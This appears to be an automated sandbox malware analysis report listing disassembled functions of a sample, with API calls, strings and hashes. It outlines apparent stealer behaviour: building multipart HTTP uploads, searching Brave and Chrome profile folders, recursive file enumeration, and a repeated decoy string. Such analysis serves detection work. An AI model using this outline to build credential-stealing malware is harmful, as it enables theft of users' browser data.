lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction ID: 04d817b79848fc48b59ba69504da24c7d1b3191c531f4b94b2025844f93bc58f
Opcode Fuzzy Hash: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
Instruction Fuzzy Hash: E941BB79740624EBC71C9FE5EC89B987F71AB4C712BA0C062F90299190C7F9D5019B3D

Function 00405150 Relevance: 53.1, APIs: 22, Strings: 8, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

lstrlenA.KERNEL32(00000000), ref: 004051E3

Part of subcall function 00418940: CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000), ref: 00418960

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00405257
StrCmpCA.SHLWAPI(?,0272AF18), ref: 00405275
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00405390
HttpOpenRequestA.WININET(00000000,0272AF38,?,0272A230,00000000,00000000,00400100,00000000), ref: 004053F4

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

lstrlenA.KERNEL32(00000000,00000000,?,",00000000,?,0272AE98,00000000,?,02708D98,00000000,?,00421980,00000000,?,?), ref: 00405787
lstrlenA.KERNEL32(00000000), ref: 0040579B
GetProcessHeap.KERNEL32(00000000,?), ref: 004057AC
HeapAlloc.KERNEL32(00000000), ref: 004057B3
lstrlenA.KERNEL32(00000000), ref: 004057C8
memcpy.MSVCRT ref: 004057DF
lstrlenA.KERNEL32(00000000,?,?), ref: 004057F9
memcpy.MSVCRT ref: 00405806
lstrlenA.KERNEL32(00000000), ref: 00405818
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00405831
memcpy.MSVCRT ref: 00405841
lstrlenA.KERNEL32(00000000,?,?), ref: 0040585E
HttpSendRequestA.WININET(?,00000000,00000000), ref: 00405872
InternetReadFile.WININET(?,?,000007CF,?), ref: 0040589D
InternetCloseHandle.WININET(?), ref: 00405901
InternetCloseHandle.WININET(00000000), ref: 0040590E
InternetCloseHandle.WININET(00000000), ref: 00405918

Strings

------, xrefs: 004052E7
------, xrefs: 00405407
", xrefs: 004054D2
------, xrefs: 0040568B
", xrefs: 00405756
--, xrefs: 004052D0
------, xrefs: 00405549
", xrefs: 00405614

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandlememcpy$HeapHttpOpenRequestlstrcat$??2@AllocBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 811081172-2774362122
Opcode ID: 8c5aacac563a1459480fbca29e93ce4a7d29ec60ddc1e921a276849b2b20af37
Instruction ID: d11f50012ef932f4a93edd12fb51ec664a1f855f62d368ccd44554b450504b34
Opcode Fuzzy Hash: 8c5aacac563a1459480fbca29e93ce4a7d29ec60ddc1e921a276849b2b20af37
Instruction Fuzzy Hash: E2325F71921118ABCB14EBA1DC55FEEB338BF54314F40419EF50662192EF782B98CF6A

Function 0040BCB0 Relevance: 40.9, APIs: 17, Strings: 6, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

1#v, xrefs: 0040BD35
Brave, xrefs: 0040BF42
Preferences, xrefs: 0040BF5E
P2#v, xrefs: 0040C5FF
Google Chrome, xrefs: 0040C474
\Brave\Preferences, xrefs: 0040C01B

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$P2#v$Preferences$\Brave\Preferences$1#v
API String ID: 3334442632-1392536997
Opcode ID: 230fada0152aae71806c488a28f1420e091da56eae0123e18ae80e53a96aee2d
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: 230fada0152aae71806c488a28f1420e091da56eae0123e18ae80e53a96aee2d
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

1#v, xrefs: 00414423
%s\%s, xrefs: 004144DB
P2#v, xrefs: 0041465D
%s\*, xrefs: 00414400
%s\%s, xrefs: 00414484

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000062C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_bfb8bb0dc7.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$P2#v$1#v
API String ID: 180737720-322404123
Opcode ID: 17cad7da98d5d236d8490905c803be581254adcc9030182f58d63a0fb882b317
Instruction ID: 93dd7dc702b7a0e0fded8c7806ce8f3795ba14a1618ae0d79b753d530a2b99d1
Opcode Fuzzy Hash: 17cad7da98d5d236d8490905c803be581254adcc9030182f58d63a0fb882b317
Instruction Fuzzy Hash: 11616571900618ABCB30EFA0DC49FEE737DBF48704F408599F50996151EB78AB858FA5

Function 6C6435A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6CF688,00001000), ref: 6C6435D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6435E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6435FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C64363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C64369F
__aulldiv.LIBCMT ref: 6C6436E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C643773
EnterCriticalSection.KERNEL32(6C6CF688), ref: 6C64377E
LeaveCriticalSection.KERNEL32(6C6CF688), ref: 6C6437BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6437C4
EnterCriticalSection.KERNEL32(6C6CF688), ref: 6C6437CB
LeaveCriticalSection.KERNEL32(6C6CF688), ref: 6C643801
__aulldiv.LIBCMT ref: 6C643883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C643902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C643918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C64394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C6435DB
GTC, xrefs: 6C643912
GenuntelineI, xrefs: 6C643639
QPC, xrefs: 6C6438FC
AuthcAMDenti, xrefs: 6C643946

Memory Dump Source

Source File: 0000000B.00000002.3127365595.000000006C641000.00000020.00000001.01000000.00000015.sdmp, Offset: 6C640000, based on PE: true

Associated: 0000000B.00000002.3127123980.000000006C640000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3127973139.000000006C6BD000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128206271.000000006C6CE000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 0000000B.00000002.3128419722.000000006C6D2000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c640000_bfb8bb0dc7.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: b70fcd4d8b21de6663a994f61d9772c0e6bb65a1e57d45cd6a9aa733ee7d5fff
Instruction ID: 22f0228e289a3ab49a087c57b93734ea8a374ba50b11e6f1d2c8c918890a7818
Opcode Fuzzy Hash: b70fcd4d8b21de6663a994f61d9772c0e6bb65a1e57d45cd6a9aa733ee7d5fff
Instruction Fuzzy Hash: 52B1B271B083109FDB08DF2AC49565ABBF5EB8A704F14C93EE899D3750D7349A018B9E

Function 004139B0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004139D3
FindFirstFileA.KERNEL32(?,?), ref: 004139EA
StrCmpCA.SHLWAPI(?,00420F7C), ref: 00413A18
StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

1#v, xrefs: 004139EA
%s\%s, xrefs: 004139C7
P2#v, xrefs: 00413B7C

Memory Dump Source

Source File: 0000000B.00000002.3076969735.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.3076969735.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000B.00000002.3076969735.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
